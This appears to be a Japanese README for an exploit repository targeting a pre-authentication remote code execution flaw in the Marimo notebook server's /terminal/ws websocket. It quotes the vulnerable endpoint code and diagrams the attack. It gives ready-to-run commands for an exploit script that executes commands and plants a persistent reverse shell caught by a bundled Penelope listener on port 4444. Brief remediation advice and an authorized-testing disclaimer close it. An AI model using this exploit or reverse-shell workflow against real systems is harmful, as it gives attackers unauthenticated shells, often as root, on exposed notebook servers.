
0.23.0 より前の Marimo のエクスプロイト。websocket エンドポイント /terminal/ws を介した事前認証 RCE の脆弱性。
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Marimo(リアクティブなPythonノートブックサーバー)における事前認証のリモートコード実行。
認証されていない単一のWebSocket接続を /terminal/ws へ送るだけで、Marimoプロセスを実行しているユーザー(Dockerでは多くの場合 root)として、完全な対話型のPTYシェルを取得できます。
ラボ/許可を得たテスト専用です(HTB、CTF、書面によるスコープを含むエンゲージメント)。
Marimo は統合ターミナルをWebSocket経由で公開しています。
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
他のWebSocketルート(特にノートブックUI用の /ws)は正しく validate_auth() を呼び出します。
しかし /terminal/ws は呼び出しません。確認するのは次の項目だけです。
その後、すぐに次の処理が実行されます。
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
インスタンスで認証が有効になっている場合でも、Cookie、トークン、パスワード、Authorization ヘッダーは一切不要です。
影響: Marimoプロセスの権限による、認証不要の任意コマンド実行。標準のコンテナイメージでは、これは多くの場合 root です。
ファイル(脆弱なツリー): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
認証を強制しているノートブック用WebSocket(ws_endpoint.py)と比較してください。
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws に接続する| ステータス | バージョン |
|---|---|
| 脆弱性あり | Marimo <= 0.20.4(修正前) |
| 修正済み | Marimo 0.23.0 以降 |
外部認証ゲートウェイなしでターミナルWebSocketを公開しているデプロイメント(編集モード、PTYサポート)はすべて対象となります。
| ファイル | 役割 |
|---|---|
exploit.py | PoC: コマンド実行+持続的リバースシェル+Penelopeランチャー |
penelope.py | スタンドアロンのシェルハンドラー(brightio/penelope) |
README.md | このファイル |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py は追加の依存関係は不要です(Python 3.6+ 標準ライブラリのみ)。
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
処理の流れ:
/terminal/ws 経由でデタッチされたリバースシェルを届ける0.0.0.0:4444 上でPenelopeをexecするpython3 exploit.py -h
Penelope はスタンドアロンスクリプト(penelope.py)としてバンドルされています。
デフォルトのフロー(-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
子プロセスを使うのは意図的です: os.execv(penelope) は親プロセスのイメージを置き換えるため、バックグラウンドスレッドが殺されてしまいます。
手動でPenelopeを使う場合:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env、SSHキー)をローテーションし、外向き接続と永続化を監査するこのプロジェクトは許可を得たセキュリティテスト、教育、防御研究のみを目的としています。
適用される法律およびラボやクライアントのエンゲージメントルールを遵守する責任はすべて利用者にあります。